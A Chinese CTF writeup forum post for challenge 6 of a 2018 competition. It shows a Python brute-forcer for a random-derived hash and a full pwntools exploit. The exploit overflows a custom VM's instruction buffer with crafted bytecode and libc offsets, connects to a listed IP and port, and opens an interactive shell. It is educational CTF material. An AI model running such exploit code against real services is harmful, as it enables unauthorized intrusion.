首页
社区
课程
招聘
[原创]CTF2018第六题writeup
发表于: 2018-6-28 11:47 3694

[原创]CTF2018第六题writeup

2018-6-28 11:47
3694
1.爆力破解
通过/dev/urandom获取随机数,再对随机数进行hash计算.直接爆破解决.
def explode_hash(hash):
    for i in range(0x2B-1, 0x5B):
        for j in range(0x2B-1, 0x5B):
            for k in range(0x2B-1, 0x5B):
                for l in range(0x2B-1, 0x5B):
                    a = i | j<<8 | k<<16 | l <<24
                    a = (0x343FD*a+0x269EC3)&0xFFFFFFFF
                    b = (a) | (((0x343FD*a+0x269EC3)&0xFFFFFFFF)<<32)
                    c = 0
                    d = b
                    for m in range(0,8):
                        c = c*0x83 + (d&0xFF)
                        c = c&0xFFFFFFFF
                        d = d >> 8
                    if c == hash:
                        return hex(b)
唯一的问题是alarm(0x3C)有个时间限制,在虚拟机机里跑,一直会超时,不太友好.

2.图灵完备vm
作者实现了一套图灵完备的解析器,可以实现栈上任意写与任意执行的功能.解析器总共有23个指令,预定义指令用于执行 Malloc功能.
Malloc功能可以获取0x80字节的数据,但是输入的size如果为0,就可以写入任意大小的数据,而预定义指令正好在输入缓冲区的0x80之后.
所以可以覆盖预定义指令,执行我们自己的指令.那么问题就很简章了,只需要理解字节码.
这里只说明对shellcode有用的字节码,
0x01 XX:取值XX
0x13:取栈上数据
0x05:相减
0x06:相加
0x04:取输入数据
0x14:保存数据至栈
0x16:执行
from pwn import *

context.log_level = 'debug'
p=remote('139.199.99.130', 8989)

p.recvuntil('Hash:')
hash = int(p.recvline(), 16)
#虚拟机爆破太慢,只能物理机爆破,然后手动填值.lol....
key = p64(int(raw_input()[0:-1],16))
p.sendline(key)
p.sendline('1')
p.sendline('0')

shellcode = '\x01\x0D\x13'+'\x01\x20\x04'+'\x05'+'\x01\x08\x14'+ \
'\x01\x0D\x13'+'\x01\x28\x04'+'\x06'+'\x01\x09\x14'+\
'\x01\x0D\x13'+'\x01\x30\x04'+'\x05'+'\x16'

payload = 'A'*0x80+shellcode+(0x20-len(shellcode))*'B'+p64(0xF72C0-0x45390)+p64(0x18CD57-0xF72C0)+p64(0xF72C0-0x21102)
p.sendline(payload)
p.recv()
p.sendline('1')
p.interactive()



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
解密的时候为什么要&0xFFFFFFFF,一个数和他向与不还是他本身吗,这个有什么意义?
2018-7-30 22:05
0
游客
登录 | 注册 方可回帖
返回
//